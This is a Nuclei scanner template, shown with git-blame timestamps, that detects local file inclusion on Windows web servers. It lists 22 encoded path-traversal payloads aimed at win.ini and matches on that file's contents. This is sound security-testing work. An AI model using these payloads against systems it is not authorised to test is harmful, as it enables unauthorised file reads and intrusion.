2021-08-07 17:32:17 +00:00
|
|
|
id: generic-windows-lfi
|
2021-07-26 23:12:26 +00:00
|
|
|
|
|
|
|
info:
|
2022-07-26 13:45:11 +00:00
|
|
|
name: Windows - Local File Inclusion
|
2022-08-31 17:42:58 +00:00
|
|
|
author: mesaglio,sushantkamble,ritikchaddha
|
2021-07-26 23:12:26 +00:00
|
|
|
severity: high
|
2022-08-31 17:42:58 +00:00
|
|
|
description: |
|
|
|
|
Windows is vulnerable to local file inclusion because of searches for /windows/win.ini on passed URLs.
|
2022-07-26 13:45:11 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
|
|
cvss-score: 7.5
|
|
|
|
cwe-id: CWE-22
|
2023-04-28 08:11:21 +00:00
|
|
|
metadata:
|
|
|
|
max-request: 22
|
2023-10-14 11:27:55 +00:00
|
|
|
tags: azure,windows,lfi,generic
|
2021-07-26 23:12:26 +00:00
|
|
|
|
2023-04-27 04:28:59 +00:00
|
|
|
http:
|
2021-07-26 23:12:26 +00:00
|
|
|
- method: GET
|
|
|
|
path:
|
2024-04-12 10:31:51 +00:00
|
|
|
- "{{BaseURL}}{{paths}}"
|
|
|
|
payloads:
|
|
|
|
paths:
|
|
|
|
- "/..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5c..0x5cwindows/win.ini"
|
|
|
|
- "/./../../../../../../../../../../windows/win.ini"
|
|
|
|
- "/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/.%252e/windows/win.ini"
|
|
|
|
- "/.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./.%5C%5C./windows/win.ini"
|
|
|
|
- "/%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2e%2ewindows/win.ini"
|
|
|
|
- "/%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5cwindows/win.ini"
|
|
|
|
- "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
|
|
|
|
- "/?redirect=..%2f..%2f..%2f..%2fwindows/win.ini"
|
|
|
|
- "/?page=..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
|
|
|
|
- "/?url=..%2f..%2f..%2f..%2f..%2f..%2fwindows/win.ini"
|
|
|
|
- "/..///////..////..//////windows/win.ini"
|
|
|
|
- "/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C../windows/win.ini"
|
|
|
|
- "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini"
|
|
|
|
- "/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini%00"
|
|
|
|
- "/index.php?page=windows/win.ini"
|
|
|
|
- "/index.php?page=windows/win.ini%00"
|
|
|
|
- "/index.php?page=../../windows/win.ini"
|
|
|
|
- "/index.php?page=....//....//windows/win.ini"
|
|
|
|
- "/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/windows/win.ini"
|
|
|
|
- "/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/windows/win.ini"
|
|
|
|
- "/../../../../../../../../../windows/win.ini"
|
|
|
|
- "/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini"
|
2021-07-26 23:12:26 +00:00
|
|
|
|
2021-09-02 11:59:10 +00:00
|
|
|
stop-at-first-match: true
|
2021-07-26 23:12:26 +00:00
|
|
|
matchers:
|
|
|
|
- type: word
|
2022-08-31 17:42:58 +00:00
|
|
|
part: body
|
2021-07-26 23:12:26 +00:00
|
|
|
words:
|
2021-07-31 17:38:46 +00:00
|
|
|
- "bit app support"
|
|
|
|
- "fonts"
|
|
|
|
- "extensions"
|
|
|
|
condition: and
|
2023-10-20 11:41:13 +00:00
|
|
|
|
|
|
|
# digest: 490a004630440220092f7b0e50b249f320db795850a07f89afe194e27bd596468b7f9b0f5fa31d8802206d74309daf7b3473114e00d28f5a606db4eed3492c6b2c18b9bb3a0ffc0c8808:922c64590222798bb761d5b6d8e72950
|